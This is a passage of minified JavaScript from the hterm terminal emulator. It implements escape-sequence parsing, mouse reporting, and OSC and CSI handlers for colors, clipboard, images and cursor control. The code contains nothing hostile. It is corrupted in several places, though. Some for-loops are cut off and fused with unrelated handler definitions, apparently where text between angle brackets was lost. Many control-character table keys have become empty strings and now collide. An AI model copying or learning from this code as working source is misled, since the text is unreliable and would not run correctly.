node.textContent.substr(start,width)}};hterm.TextAttributes.nodeSubstring=function(node,start,end){if(!node.asciiNode){return hterm.wc.substring(node.textContent,start,end)}else{return node.textContent.substring(start,end)}};hterm.TextAttributes.splitWidecharString=function(str){const asciiRegex=new RegExp("^[ -]*$");if(asciiRegex.test(str)){return[{str:str,wcNode:false,asciiNode:true,wcStrWidth:str.length}]}const segmenter=new Intl.Segmenter(undefined,{type:"grapheme"});const it=segmenter.segment(str);const rv=[];for(const segment of it){const grapheme=segment.segment;const isAscii=asciiRegex.test(grapheme);const strWidth=isAscii?1:hterm.wc.strWidth(grapheme);const isWideChar=isAscii?false:hterm.wc.charWidth(grapheme.codePointAt(0))==2;const prev=rv[rv.length-1];if(prev&&!isWideChar&&!prev.wcNode){prev.str+=grapheme;prev.wcStrWidth+=strWidth;prev.asciiNode=prev.asciiNode&&isAscii}else{rv.push({str:grapheme,wcNode:isWideChar,asciiNode:isAscii,wcStrWidth:strWidth})}}return rv};hterm.VT=function(terminal){this.terminal=terminal;terminal.onMouse=this.onTerminalMouse_.bind(this);this.mouseReport=this.MOUSE_REPORT_DISABLED;this.mouseCoordinates=this.MOUSE_COORDINATES_X10;this.lastMouseDragResponse_=null;this.parseState_=new hterm.VT.ParseState(this.parseUnknown_);this.leadingModifier_="";this.trailingModifier_="";this.allowColumnWidthChanges_=false;this.oscTimeLimit_=2e4;this.enable8BitControl=false;this.enableClipboardWrite=true;this.enableDec12=false;this.enableCsiJ3=true;this.warnUnimplemented=false;this.characterMaps=new hterm.VT.CharacterMaps;this.G0=this.G1=this.G2=this.G3=this.characterMaps.getMap("B");this.GL="G0";this.GR="G0";this.codingSystemUtf8_=false;this.codingSystemLocked_=false;this.cc1Pattern_=null;this.updateEncodingState_()};hterm.VT.prototype.MOUSE_REPORT_DISABLED=0;hterm.VT.prototype.MOUSE_REPORT_PRESS=1;hterm.VT.prototype.MOUSE_REPORT_CLICK=2;hterm.VT.prototype.MOUSE_REPORT_DRAG=3;hterm.VT.prototype.MOUSE_COORDINATES_X10=0;hterm.VT.prototype.MOUSE_COORDINATES_UTF8=1;hterm.VT.prototype.MOUSE_COORDINATES_SGR=2;hterm.VT.ParseState=function(defaultFunction,buf=null){this.defaultFunction=defaultFunction;this.buf=buf;this.pos=0;this.func=defaultFunction;this.args=[];this.subargs=null};hterm.VT.ParseState.prototype.reset=function(buf=""){this.resetParseFunction();this.resetBuf(buf);this.resetArguments()};hterm.VT.ParseState.prototype.resetParseFunction=function(){this.func=this.defaultFunction};hterm.VT.ParseState.prototype.resetBuf=function(buf=null){this.buf=buf;this.pos=0};hterm.VT.ParseState.prototype.resetArguments=function(arg_zero=undefined){this.args.length=0;if(arg_zero!==undefined){this.args[0]=arg_zero}};hterm.VT.ParseState.prototype.parseInt=function(argstr,defaultValue){if(defaultValue===undefined){defaultValue=0}if(argstr){const ret=parseInt(argstr,10);return ret==0?defaultValue:ret}return defaultValue};hterm.VT.ParseState.prototype.iarg=function(argnum,defaultValue){return this.parseInt(this.args[argnum],defaultValue)};hterm.VT.ParseState.prototype.argHasSubargs=function(argnum){return!!(this.subargs&&this.subargs[argnum])};hterm.VT.ParseState.prototype.argSetSubargs=function(argnum){if(this.subargs===null){this.subargs={}}this.subargs[argnum]=true};hterm.VT.ParseState.prototype.advance=function(count){this.pos+=count};hterm.VT.ParseState.prototype.peekRemainingBuf=function(){return this.buf.substr(this.pos)};hterm.VT.ParseState.prototype.peekChar=function(){return this.buf.substr(this.pos,1)};hterm.VT.ParseState.prototype.consumeChar=function(){return this.buf.substr(this.pos++,1)};hterm.VT.ParseState.prototype.isComplete=function(){return this.buf==null||this.buf.length<=this.pos};hterm.VT.prototype.resetParseState=function(){this.parseState_.reset()};hterm.VT.prototype.reset=function(){this.G0=this.G1=this.G2=this.G3=this.characterMaps.getMap("B");this.GL="G0";this.GR="G0";this.mouseReport=this.MOUSE_REPORT_DISABLED;this.mouseCoordinates=this.MOUSE_COORDINATES_X10;this.lastMouseDragResponse_=null};hterm.VT.prototype.onTerminalMouse_=function(e){if(this.mouseReport==this.MOUSE_REPORT_DISABLED){return}else if(this.mouseReport!=this.MOUSE_REPORT_DRAG&&e.type=="mousemove"){return}let response;let mod=0;if(this.mouseReport!=this.MOUSE_REPORT_PRESS){if(e.shiftKey){mod|=4}if(e.metaKey||this.terminal.keyboard.altIsMeta&&e.altKey){mod|=8}if(e.ctrlKey){mod|=16}}let x;let y;let limit=127;switch(this.mouseCoordinates){case this.MOUSE_COORDINATES_UTF8:limit=2047;case this.MOUSE_COORDINATES_X10:x=String.fromCharCode(lib.f.clamp(e.terminalColumn+32,32,limit));y=String.fromCharCode(lib.f.clamp(e.terminalRow+32,32,limit));break;case this.MOUSE_COORDINATES_SGR:x=e.terminalColumn;y=e.terminalRow;break}let b;switch(e.type){case"wheel":b=(e.deltaY*-1>0?0:1)+64;b|=mod;if(this.mouseCoordinates==this.MOUSE_COORDINATES_SGR){response=`\x1b[<${b};${x};${y}M`}else{response=""+String.fromCharCode(b+32)+x+y}e.preventDefault();break;case"mousedown":b=Math.min(e.button,2);if(this.mouseCoordinates!=this.MOUSE_COORDINATES_SGR){b+=32}b|=mod;if(this.mouseCoordinates==this.MOUSE_COORDINATES_SGR){response=`\x1b[<${b};${x};${y}M`}else{response=""+String.fromCharCode(b)+x+y}break;case"mouseup":if(this.mouseReport!=this.MOUSE_REPORT_PRESS){if(this.mouseCoordinates==this.MOUSE_COORDINATES_SGR){response=`\x1b[<${e.button};${x};${y}m`}else{response="#"+x+y}}break;case"mousemove":if(this.mouseReport==this.MOUSE_REPORT_DRAG&&e.buttons){b=this.mouseCoordinates==this.MOUSE_COORDINATES_SGR?0:32;if(e.buttons&1){b+=0}else if(e.buttons&4){b+=1}else if(e.buttons&2){b+=2}else{b+=3}b+=32;b|=mod;if(this.mouseCoordinates==this.MOUSE_COORDINATES_SGR){response=`\x1b[<${b};${x};${y}M`}else{response=""+String.fromCharCode(b)+x+y}if(this.lastMouseDragResponse_==response){response=""}else{this.lastMouseDragResponse_=response}}break;case"click":case"dblclick":break;default:console.error("Unknown mouse event: "+e.type,e);break}if(response){this.terminal.io.sendString(response)}};hterm.VT.prototype.interpret=function(buf){this.parseState_.resetBuf(buf);while(!this.parseState_.isComplete()){const func=this.parseState_.func;const pos=this.parseState_.pos;const buf=this.parseState_.buf;this.parseState_.func.call(this,this.parseState_);if(this.parseState_.func==func&&this.parseState_.pos==pos&&this.parseState_.buf==buf){throw new Error("Parser did not alter the state!")}}};hterm.VT.prototype.setEncoding=function(encoding){switch(encoding){default:console.warn('Invalid value for "terminal-encoding": '+encoding);case"iso-2022":this.codingSystemUtf8_=false;this.codingSystemLocked_=false;break;case"utf-8-locked":this.codingSystemUtf8_=true;this.codingSystemLocked_=true;break;case"utf-8":this.codingSystemUtf8_=true;this.codingSystemLocked_=false;break}this.updateEncodingState_()};hterm.VT.prototype.updateEncodingState_=function(){const cc1=Object.keys(hterm.VT.CC1).filter(e=>!this.codingSystemUtf8_||e.charCodeAt()<128).map(e=>"\\x"+lib.f.zpad(e.charCodeAt().toString(16),2)).join("");this.cc1Pattern_=new RegExp(`[${cc1}]`)};hterm.VT.prototype.parseUnknown_=function(parseState){const print=str=>{if(!this.codingSystemUtf8_&&this[this.GL].GL){str=this[this.GL].GL(str)}this.terminal.print(str)};const buf=parseState.peekRemainingBuf();const nextControl=buf.search(this.cc1Pattern_);if(nextControl==0){this.dispatch("CC1",buf.substr(0,1),parseState);parseState.advance(1);return}if(nextControl==-1){print(buf);parseState.reset();return}print(buf.substr(0,nextControl));this.dispatch("CC1",buf.substr(nextControl,1),parseState);parseState.advance(nextControl+1)};hterm.VT.prototype.parseCSI_=function(parseState){const ch=parseState.peekChar();const args=parseState.args;const finishParsing=()=>{parseState.resetArguments();parseState.subargs=null;parseState.resetParseFunction()};if(ch>="@"&&ch<="~"){this.dispatch("CSI",this.leadingModifier_+this.trailingModifier_+ch,parseState);finishParsing()}else if(ch==";"){if(this.trailingModifier_){finishParsing()}else{if(!args.length){args.push("")}args.push("")}}else if(ch>="0"&&ch<="9"||ch==":"){if(this.trailingModifier_){finishParsing()}else{if(!args.length){args[0]=ch}else{args[args.length-1]+=ch}if(ch==":"){parseState.argSetSubargs(args.length-1)}}}else if(ch>=" "&&ch<="?"){if(!args.length){this.leadingModifier_+=ch}else{this.trailingModifier_+=ch}}else if(this.cc1Pattern_.test(ch)){this.dispatch("CC1",ch,parseState)}else{finishParsing()}parseState.advance(1)};hterm.VT.prototype.parseDCS_=function(parseState){const ch=parseState.peekChar();const args=parseState.args;const finishParsing=()=>{parseState.resetArguments();parseState.resetParseFunction()};if(ch>="@"&&ch<="~"){parseState.advance(1);this.dispatch("DCS",this.leadingModifier_+this.trailingModifier_+ch,parseState);if(parseState.func===this.parseDCS_){parseState.func=this.parseUntilStringTerminator_}return}else if(ch===";"){if(this.trailingModifier_){finishParsing()}else{if(!args.length){args.push("")}args.push("")}}else if(ch>="0"&&ch<="9"){if(this.trailingModifier_){finishParsing()}else{if(!args.length){args[0]=ch}else{args[args.length-1]+=ch}}}else if(ch>=" "&&ch<="?"){if(!args.length){this.leadingModifier_+=ch}else{this.trailingModifier_+=ch}}else if(this.cc1Pattern_.test(ch)){this.dispatch("CC1",ch,parseState)}else{finishParsing()}parseState.advance(1)};hterm.VT.prototype.parseTmuxControlModeData_=function(parseState){const args=parseState.args;if(!args.length){args[0]=""}while(true){const args0InitialLength=args[0].length;const buf=args[0]+parseState.peekRemainingBuf();args[0]="";const index=buf.search(/\x1b\\|\r\n/);if(index===-1){parseState.args[0]=buf;parseState.resetBuf();return}const data=buf.slice(0,index);parseState.advance(index+2-args0InitialLength);if(buf[index]===""){if(data){console.error(`unexpected data before ST: ${data}`)}this.terminal.onTmuxControlModeLine(null);parseState.resetArguments();parseState.resetParseFunction();return}this.terminal.onTmuxControlModeLine(data)}};hterm.VT.prototype.parseUntilStringTerminator_=function(parseState){let buf=parseState.peekRemainingBuf();const args=parseState.args;let bufInserted=0;if(!args.length){args[0]="";args[1]=(new Date).getTime()}else{if(args[0].slice(-1)==""){args[0]=args[0].slice(0,-1);buf=""+buf;bufInserted=1}}const nextTerminator=buf.search(/[\x1b\x07]/);const terminator=buf[nextTerminator];let foundTerminator;if(terminator==""&&buf[nextTerminator+1]!="\\"){foundTerminator=false}else{foundTerminator=nextTerminator!=-1}if(!foundTerminator){args[0]+=buf;let abortReason;if(terminator==""&&nextTerminator!=buf.length-1){abortReason="embedded escape: "+nextTerminator}const elapsedTime=(new Date).getTime()-args[1];if(elapsedTime>this.oscTimeLimit_){abortReason=`timeout expired: ${elapsedTime}s`}if(abortReason){if(this.warnUnimplemented){console.log("parseUntilStringTerminator_: aborting: "+abortReason,args[0])}parseState.reset(args[0]);return false}parseState.advance(buf.length-bufInserted);return true}args[0]+=buf.substr(0,nextTerminator);parseState.resetParseFunction();parseState.advance(nextTerminator+(terminator==""?2:1)-bufInserted);return true};hterm.VT.prototype.dispatch=function(type,code,parseState){const handler=hterm.VT[type][code];if(!handler){if(this.warnUnimplemented){console.warn(`Unknown ${type} code: ${JSON.stringify(code)}`)}return}if(handler==hterm.VT.ignore){if(this.warnUnimplemented){console.warn(`Ignored ${type} code: ${JSON.stringify(code)}`)}return}if(parseState.subargs&&!handler.supportsSubargs){if(this.warnUnimplemented){console.warn(`Ignored ${type} code w/subargs: ${JSON.stringify(code)}`)}return}if(type=="CC1"&&code>""&&!this.enable8BitControl){console.warn("Ignoring 8-bit control code: 0x"+code.charCodeAt(0).toString(16));return}handler.apply(this,[parseState,code])};hterm.VT.prototype.setANSIMode=function(code,state){if(code==4){this.terminal.setInsertMode(state)}else if(code==20){this.terminal.setAutoCarriageReturn(state)}else if(this.warnUnimplemented){console.warn("Unimplemented ANSI Mode: "+code)}};hterm.VT.prototype.setDECMode=function(code,state){switch(parseInt(code,10)){case 1:this.terminal.keyboard.applicationCursor=state;break;case 3:if(this.allowColumnWidthChanges_){this.terminal.setWidth(state?132:80);this.terminal.clearHome();this.terminal.setVTScrollRegion(null,null)}break;case 5:this.terminal.setReverseVideo(state);break;case 6:this.terminal.setOriginMode(state);break;case 7:this.terminal.setWraparound(state);break;case 9:this.mouseReport=state?this.MOUSE_REPORT_PRESS:this.MOUSE_REPORT_DISABLED;this.terminal.syncMouseStyle();break;case 12:if(this.enableDec12){this.terminal.setCursorBlink(state)}break;case 25:this.terminal.setCursorVisible(state);break;case 30:this.terminal.setScrollbarVisible(state);break;case 40:this.terminal.allowColumnWidthChanges_=state;break;case 45:this.terminal.setReverseWraparound(state);break;case 67:this.terminal.keyboard.backspaceSendsBackspace=state;break;case 1e3:this.mouseReport=state?this.MOUSE_REPORT_CLICK:this.MOUSE_REPORT_DISABLED;this.terminal.syncMouseStyle();break;case 1002:this.mouseReport=state?this.MOUSE_REPORT_DRAG:this.MOUSE_REPORT_DISABLED;this.terminal.syncMouseStyle();break;case 1004:this.terminal.reportFocus=state;break;case 1005:this.mouseCoordinates=state?this.MOUSE_COORDINATES_UTF8:this.MOUSE_COORDINATES_X10;break;case 1006:this.mouseCoordinates=state?this.MOUSE_COORDINATES_SGR:this.MOUSE_COORDINATES_X10;break;case 1007:this.terminal.scrollWheelArrowKeys_=state;break;case 1010:this.terminal.scrollOnOutput=state;break;case 1011:this.terminal.scrollOnKeystroke=state;break;case 1036:this.terminal.keyboard.metaSendsEscape=state;break;case 1039:if(state){if(!this.terminal.keyboard.previousAltSendsWhat_){this.terminal.keyboard.previousAltSendsWhat_=this.terminal.keyboard.altSendsWhat;this.terminal.keyboard.altSendsWhat="escape"}}else if(this.terminal.keyboard.previousAltSendsWhat_){this.terminal.keyboard.altSendsWhat=this.terminal.keyboard.previousAltSendsWhat_;this.terminal.keyboard.previousAltSendsWhat_=null}break;case 47:case 1047:this.terminal.setAlternateMode(state);break;case 1048:if(state){this.terminal.saveCursorAndState()}else{this.terminal.restoreCursorAndState()}break;case 1049:if(state){this.terminal.saveCursorAndState();this.terminal.setAlternateMode(state);this.terminal.clear()}else{this.terminal.setAlternateMode(state);this.terminal.restoreCursorAndState()}break;case 2004:this.terminal.setBracketedPaste(state);break;default:if(this.warnUnimplemented){console.warn("Unimplemented DEC Private Mode: "+code)}break}};hterm.VT.ignore=function(){};hterm.VT.CC1={};hterm.VT.ESC={};hterm.VT.CSI={};hterm.VT.DCS={};hterm.VT.OSC={};hterm.VT.VT52={};hterm.VT.CC1["\0"]=hterm.VT.ignore;hterm.VT.CC1[""]=hterm.VT.ignore;hterm.VT.CC1[""]=function(){this.terminal.ringBell()};hterm.VT.CC1["\b"]=function(){this.terminal.cursorLeft(1)};hterm.VT.CC1["\t"]=function(){this.terminal.forwardTabStop()};hterm.VT.CC1["\n"]=function(){this.terminal.formFeed()};hterm.VT.CC1["\v"]=hterm.VT.CC1["\n"];hterm.VT.CC1["\f"]=hterm.VT.CC1["\n"];hterm.VT.CC1["\r"]=function(){this.terminal.setCursorColumn(0)};hterm.VT.CC1[""]=function(){this.GL="G1"};hterm.VT.CC1[""]=function(){this.GL="G0"};hterm.VT.CC1[""]=hterm.VT.ignore;hterm.VT.CC1[""]=hterm.VT.ignore;hterm.VT.CC1[""]=function(parseState){if(this.GL=="G1"){this.GL="G0"}parseState.resetParseFunction();this.terminal.print("?")};hterm.VT.CC1[""]=hterm.VT.CC1[""];hterm.VT.CC1[""]=function(parseState){function parseESC(parseState){const ch=parseState.consumeChar();if(ch==""){return}this.dispatch("ESC",ch,parseState);if(parseState.func==parseESC){parseState.resetParseFunction()}}parseState.func=parseESC};hterm.VT.CC1[""]=hterm.VT.ignore;hterm.VT.CC1["„"]=hterm.VT.ESC["D"]=function(){this.terminal.lineFeed()};hterm.VT.CC1["…"]=hterm.VT.ESC["E"]=function(){this.terminal.setCursorColumn(0);this.terminal.cursorDown(1)};hterm.VT.CC1["ˆ"]=hterm.VT.ESC["H"]=function(){this.terminal.setTabStop(this.terminal.getCursorColumn())};hterm.VT.CC1[""]=hterm.VT.ESC["M"]=function(){this.terminal.reverseLineFeed()};hterm.VT.CC1["Ž"]=hterm.VT.ESC["N"]=hterm.VT.ignore;hterm.VT.CC1[""]=hterm.VT.ESC["O"]=hterm.VT.ignore;hterm.VT.CC1[""]=hterm.VT.ESC["P"]=function(parseState){parseState.resetArguments();this.leadingModifier_="";this.trailingModifier_="";parseState.func=this.parseDCS_};hterm.VT.CC1["–"]=hterm.VT.ESC["V"]=hterm.VT.ignore;hterm.VT.CC1["—"]=hterm.VT.ESC["W"]=hterm.VT.ignore;hterm.VT.CC1["˜"]=hterm.VT.ESC["X"]=hterm.VT.ignore;hterm.VT.CC1["š"]=hterm.VT.ESC["Z"]=function(){this.terminal.io.sendString("[?1;2c")};hterm.VT.CC1["›"]=hterm.VT.ESC["["]=function(parseState){parseState.resetArguments();this.leadingModifier_="";this.trailingModifier_="";parseState.func=this.parseCSI_};hterm.VT.CC1["œ"]=hterm.VT.ESC["\\"]=hterm.VT.ignore;hterm.VT.CC1[""]=hterm.VT.ESC["]"]=function(parseState){parseState.resetArguments();function parseOSC(parseState){if(!this.parseUntilStringTerminator_(parseState)){return}if(parseState.func==parseOSC){return}const ary=parseState.args[0].match(/^(\d+);?(.*)$/);if(ary){parseState.args[0]=ary[2];this.dispatch("OSC",ary[1],parseState)}else{console.warn("Invalid OSC: "+JSON.stringify(parseState.args[0]))}parseState.resetArguments()}parseState.func=parseOSC};hterm.VT.CC1["ž"]=hterm.VT.ESC["^"]=function(parseState){parseState.resetArguments();parseState.func=this.parseUntilStringTerminator_};hterm.VT.CC1["Ÿ"]=hterm.VT.ESC["_"]=function(parseState){parseState.resetArguments();parseState.func=this.parseUntilStringTerminator_};hterm.VT.ESC[" "]=function(parseState){parseState.func=function(parseState){const ch=parseState.consumeChar();if(this.warnUnimplemented){console.warn("Unimplemented sequence: ESC 0x20 "+ch)}parseState.resetParseFunction()}};hterm.VT.ESC["#"]=function(parseState){parseState.func=function(parseState){const ch=parseState.consumeChar();if(ch=="8"){this.terminal.setCursorPosition(0,0);this.terminal.fill("E")}parseState.resetParseFunction()}};hterm.VT.ESC["%"]=function(parseState){parseState.func=function(parseState){let ch=parseState.consumeChar();if(this.codingSystemLocked_){if(ch=="/"){parseState.consumeChar()}parseState.resetParseFunction();return}switch(ch){case"@":this.setEncoding("iso-2022");break;case"G":this.setEncoding("utf-8");break;case"/":ch=parseState.consumeChar();switch(ch){case"G":case"H":case"I":this.setEncoding("utf-8-locked");break;default:if(this.warnUnimplemented){console.warn("Unknown ESC % / argument: "+JSON.stringify(ch))}break}break;default:if(this.warnUnimplemented){console.warn("Unknown ESC % argument: "+JSON.stringify(ch))}break}parseState.resetParseFunction()}};hterm.VT.ESC["("]=hterm.VT.ESC[")"]=hterm.VT.ESC["*"]=hterm.VT.ESC["+"]=hterm.VT.ESC["-"]=hterm.VT.ESC["."]=hterm.VT.ESC["/"]=function(parseState,code){parseState.func=function(parseState){if(parseState.peekChar()===""){parseState.resetParseFunction();return}const ch=parseState.consumeChar();const map=this.characterMaps.getMap(ch);if(map!==undefined){if(code=="("){this.G0=map}else if(code==")"||code=="-"){this.G1=map}else if(code=="*"||code=="."){this.G2=map}else if(code=="+"||code=="/"){this.G3=map}}else if(this.warnUnimplemented){console.log('Invalid character set for "'+code+'": '+ch)}parseState.resetParseFunction()}};hterm.VT.ESC["6"]=hterm.VT.ignore;hterm.VT.ESC["7"]=function(){this.terminal.saveCursorAndState()};hterm.VT.ESC["8"]=function(){this.terminal.restoreCursorAndState()};hterm.VT.ESC["9"]=hterm.VT.ignore;hterm.VT.ESC["="]=function(){this.terminal.keyboard.applicationKeypad=true};hterm.VT.ESC[">"]=function(){this.terminal.keyboard.applicationKeypad=false};hterm.VT.ESC["F"]=hterm.VT.ignore;hterm.VT.ESC["c"]=function(){this.terminal.reset()};hterm.VT.ESC["k"]=function(parseState){function parse(parseState){if(!this.parseUntilStringTerminator_(parseState)){return}if(parseState.func===parse){return}this.terminal.setWindowName(parseState.args[0]);parseState.resetArguments()}parseState.resetArguments();parseState.func=parse};hterm.VT.ESC["l"]=hterm.VT.ESC["m"]=hterm.VT.ignore;hterm.VT.ESC["n"]=function(){this.GL="G2"};hterm.VT.ESC["o"]=function(){this.GL="G3"};hterm.VT.ESC["|"]=function(){this.GR="G3"};hterm.VT.ESC["}"]=function(){this.GR="G2"};hterm.VT.ESC["~"]=function(){this.GR="G1"};hterm.VT.DCS["p"]=function(parseState){if(parseState.args.length===1&&parseState.args[0]==="1000"){parseState.resetArguments();parseState.func=this.parseTmuxControlModeData_}};hterm.VT.OSC["0"]=function(parseState){this.terminal.setWindowTitle(parseState.args[0])};hterm.VT.OSC["2"]=hterm.VT.OSC["0"];hterm.VT.OSC["4"]=function(parseState){const args=parseState.args[0].split(";");const pairCount=Math.floor(args.length/2);const responseArray=[];for(let pairNumber=0;pairNumber=lib.colors.stockPalette.length){continue}if(colorValue=="?"){colorValue=lib.colors.rgbToX11(this.terminal.getColorPalette(colorIndex));if(colorValue){responseArray.push(colorIndex+";"+colorValue)}continue}colorValue=lib.colors.x11ToCSS(colorValue);if(colorValue){this.terminal.setColorPalette(colorIndex,colorValue)}}if(responseArray.length){this.terminal.io.sendString("]4;"+responseArray.join(";")+"")}};hterm.VT.OSC["8"]=function(parseState){const args=parseState.args[0].split(";");let id=null;let uri=null;if(args.length!=2||args[1].length==0){}else{const params=args[0].split(":");id="";params.forEach(param=>{const idx=param.indexOf("=");if(idx==-1){return}const key=param.slice(0,idx);const value=param.slice(idx+1);switch(key){case"id":id=value;break;default:break}});uri=args[1]}const attrs=this.terminal.getTextAttributes();attrs.uri=uri;attrs.uriId=id};hterm.VT.OSC["9"]=function(parseState){hterm.notify({body:parseState.args[0]})};hterm.VT.OSC["10"]=function(parseState){const args=parseState.args[0].split(";");if(!args){return}const colorX11=lib.colors.x11ToCSS(args.shift());if(colorX11){this.terminal.setForegroundColor(colorX11)}if(args.length>0){parseState.args[0]=args.join(";");hterm.VT.OSC["11"].apply(this,[parseState])}};hterm.VT.OSC["11"]=function(parseState){const args=parseState.args[0].split(";");if(!args){return}const colorX11=lib.colors.x11ToCSS(args.shift());if(colorX11){this.terminal.setBackgroundColor(colorX11)}if(args.length>0){parseState.args[0]=args.join(";");hterm.VT.OSC["12"].apply(this,[parseState])}};hterm.VT.OSC["12"]=function(parseState){const args=parseState.args[0].split(";");if(!args){return}const colorX11=lib.colors.x11ToCSS(args.shift());if(colorX11){this.terminal.setCursorColor(colorX11)}};hterm.VT.OSC["50"]=function(parseState){const args=parseState.args[0].match(/CursorShape=(.)/i);if(!args){console.warn("Could not parse OSC 50 args: "+parseState.args[0]);return}switch(args[1]){case"1":this.terminal.setCursorShape(hterm.Terminal.cursorShape.BEAM);break;case"2":this.terminal.setCursorShape(hterm.Terminal.cursorShape.UNDERLINE);break;default:this.terminal.setCursorShape(hterm.Terminal.cursorShape.BLOCK)}};hterm.VT.OSC["52"]=function(parseState){if(!this.enableClipboardWrite){return}const args=parseState.args[0].match(/^[cps01234567]*;(.*)/);if(!args){return}let data;try{data=globalThis.atob(args[1])}catch(e){return}const decoder=new TextDecoder;const bytes=lib.codec.stringToCodeUnitArray(data);data=decoder.decode(bytes);if(data){this.terminal.copyStringToClipboard(data)}};hterm.VT.OSC["104"]=function(parseState){if(!parseState.args[0]){this.terminal.resetColorPalette();return}const args=parseState.args[0].split(";");args.forEach(c=>this.terminal.resetColor(c))};hterm.VT.OSC["110"]=function(parseState){this.terminal.setForegroundColor()};hterm.VT.OSC["111"]=function(parseState){this.terminal.setBackgroundColor()};hterm.VT.OSC["112"]=function(parseState){this.terminal.setCursorColor()};hterm.VT.OSC["1337"]=function(parseState){const args=parseState.args[0].match(/^File=([^:]*):([\s\S]*)$/m);if(!args){if(this.warnUnimplemented){console.log(`iTerm2 1337: unsupported sequence: ${args[1]}`)}return}const options={name:"",size:0,preserveAspectRatio:true,inline:false,width:"auto",height:"auto",align:"left",type:"",buffer:lib.codec.stringToCodeUnitArray(atob(args[2])).buffer};args[1].split(";").forEach(ele=>{const kv=ele.match(/^([^=]+)=(.*)$/m);if(!kv){return}switch(kv[1]){case"name":try{options.name=globalThis.atob(kv[2])}catch(e){}break;case"size":try{options.size=parseInt(kv[2],10)}catch(e){}break;case"width":options.width=kv[2];break;case"height":options.height=kv[2];break;case"preserveAspectRatio":options.preserveAspectRatio=!(kv[2]=="0");break;case"inline":options.inline=!(kv[2]=="0");break;case"align":options.align=kv[2];break;case"type":options.type=kv[2];break;default:break}});if(options.inline){const io=this.terminal.io;const queued=parseState.peekRemainingBuf();parseState.advance(queued.length);this.terminal.displayImage(options);io.print(queued)}else{this.terminal.displayImage(options)}};hterm.VT.OSC["777"]=function(parseState){let ary;const urxvtMod=parseState.args[0].split(";",1)[0];switch(urxvtMod){case"notify":{let title;let message;ary=parseState.args[0].match(/^[^;]+;([^;]*)(;([\s\S]*))?$/);if(ary){title=ary[1];message=ary[3]}hterm.notify({title:title,body:message});break}default:console.warn("Unknown urxvt module: "+parseState.args[0]);break}};hterm.VT.CSI["@"]=function(parseState){this.terminal.insertSpace(parseState.iarg(0,1))};hterm.VT.CSI["A"]=function(parseState){this.terminal.cursorUp(parseState.iarg(0,1))};hterm.VT.CSI["B"]=function(parseState){this.terminal.cursorDown(parseState.iarg(0,1))};hterm.VT.CSI["C"]=function(parseState){this.terminal.cursorRight(parseState.iarg(0,1))};hterm.VT.CSI["D"]=function(parseState){this.terminal.cursorLeft(parseState.iarg(0,1))};hterm.VT.CSI["E"]=function(parseState){this.terminal.cursorDown(parseState.iarg(0,1));this.terminal.setCursorColumn(0)};hterm.VT.CSI["F"]=function(parseState){this.terminal.cursorUp(parseState.iarg(0,1));this.terminal.setCursorColumn(0)};hterm.VT.CSI["G"]=function(parseState){this.terminal.setCursorColumn(parseState.iarg(0,1)-1)};hterm.VT.CSI["H"]=function(parseState){this.terminal.setCursorPosition(parseState.iarg(0,1)-1,parseState.iarg(1,1)-1)};hterm.VT.CSI["I"]=function(parseState){let count=parseState.iarg(0,1);count=lib.f.clamp(count,1,this.terminal.screenSize.width);for(let i=0;iT"]=hterm.VT.ignore;hterm.VT.CSI["X"]=function(parseState){this.terminal.eraseToRight(parseState.iarg(0,1))};hterm.VT.CSI["Z"]=function(parseState){let count=parseState.iarg(0,1);count=lib.f.clamp(count,1,this.terminal.screenSize.width);for(let i=0;ic"]=function(parseState){this.terminal.io.sendString("[>0;256;0c")};hterm.VT.CSI["d"]=function(parseState){this.terminal.setAbsoluteCursorRow(parseState.iarg(0,1)-1)};hterm.VT.CSI["f"]=hterm.VT.CSI["H"];hterm.VT.CSI["g"]=function(parseState){if(!parseState.args[0]||parseState.args[0]==0){this.terminal.clearTabStopAtCursor()}else if(parseState.args[0]==3){this.terminal.clearAllTabStops()}};hterm.VT.CSI["h"]=function(parseState){for(let i=0;i=90&&arg<=97){attrs.foregroundSource=arg-90+8}else if(arg>=100&&arg<=107){attrs.backgroundSource=arg-100+8}}attrs.syncColors()};hterm.VT.CSI["m"].supportsSubargs=true;hterm.VT.CSI[">m"]=hterm.VT.ignore;hterm.VT.CSI["n"]=function(parseState){if(parseState.args[0]==5){this.terminal.io.sendString("0n")}else if(parseState.args[0]==6){const row=this.terminal.getCursorRow()+1;const col=this.terminal.getCursorColumn()+1;this.terminal.io.sendString("["+row+";"+col+"R")}};hterm.VT.CSI[">n"]=hterm.VT.ignore;hterm.VT.CSI["?n"]=function(parseState){if(parseState.args[0]==6){const row=this.terminal.getCursorRow()+1;const col=this.terminal.getCursorColumn()+1;this.terminal.io.sendString("["+row+";"+col+"R")}else if(parseState.args[0]==15){this.terminal.io.sendString("[?11n")}else if(parseState.args[0]==25){this.terminal.io.sendString("[?21n")}else if(parseState.args[0]==26){this.terminal.io.sendString("[?12;1;0;0n")}else if(parseState.args[0]==53){this.terminal.io.sendString("[?50n")}};hterm.VT.CSI[">p"]=hterm.VT.ignore;hterm.VT.CSI["!p"]=function(){this.terminal.softReset()};hterm.VT.CSI["$p"]=hterm.VT.ignore;hterm.VT.CSI["?$p"]=hterm.VT.ignore;hterm.VT.CSI['"p']=hterm.VT.ignore;hterm.VT.CSI["q"]=hterm.VT.ignore;hterm.VT.CSI[" q"]=function(parseState){const arg=parseState.args[0];if(arg==0||arg==1){this.terminal.setCursorShape(hterm.Terminal.cursorShape.BLOCK);this.terminal.setCursorBlink(true)}else if(arg==2){this.terminal.setCursorShape(hterm.Terminal.cursorShape.BLOCK);this.terminal.setCursorBlink(false)}else if(arg==3){this.terminal.setCursorShape(hterm.Terminal.cursorShape.UNDERLINE);this.terminal.setCursorBlink(true)}else if(arg==4){this.terminal.setCursorShape(hterm.Terminal.cursorShape.UNDERLINE);this.terminal.setCursorBlink(false)}else if(arg==5){this.terminal.setCursorShape(hterm.Terminal.cursorShape.BEAM);this.terminal.setCursorBlink(true)}else if(arg==6){this.terminal.setCursorShape(hterm.Terminal.cursorShape.BEAM);this.terminal.setCursorBlink(false)}else{console.warn("Unknown cursor style: "+arg)}};hterm.VT.CSI['"q']=hterm.VT.ignore;hterm.VT.CSI["r"]=function(parseState){const args=parseState.args;const top=args[0]?parseInt(args[0],10):0;const 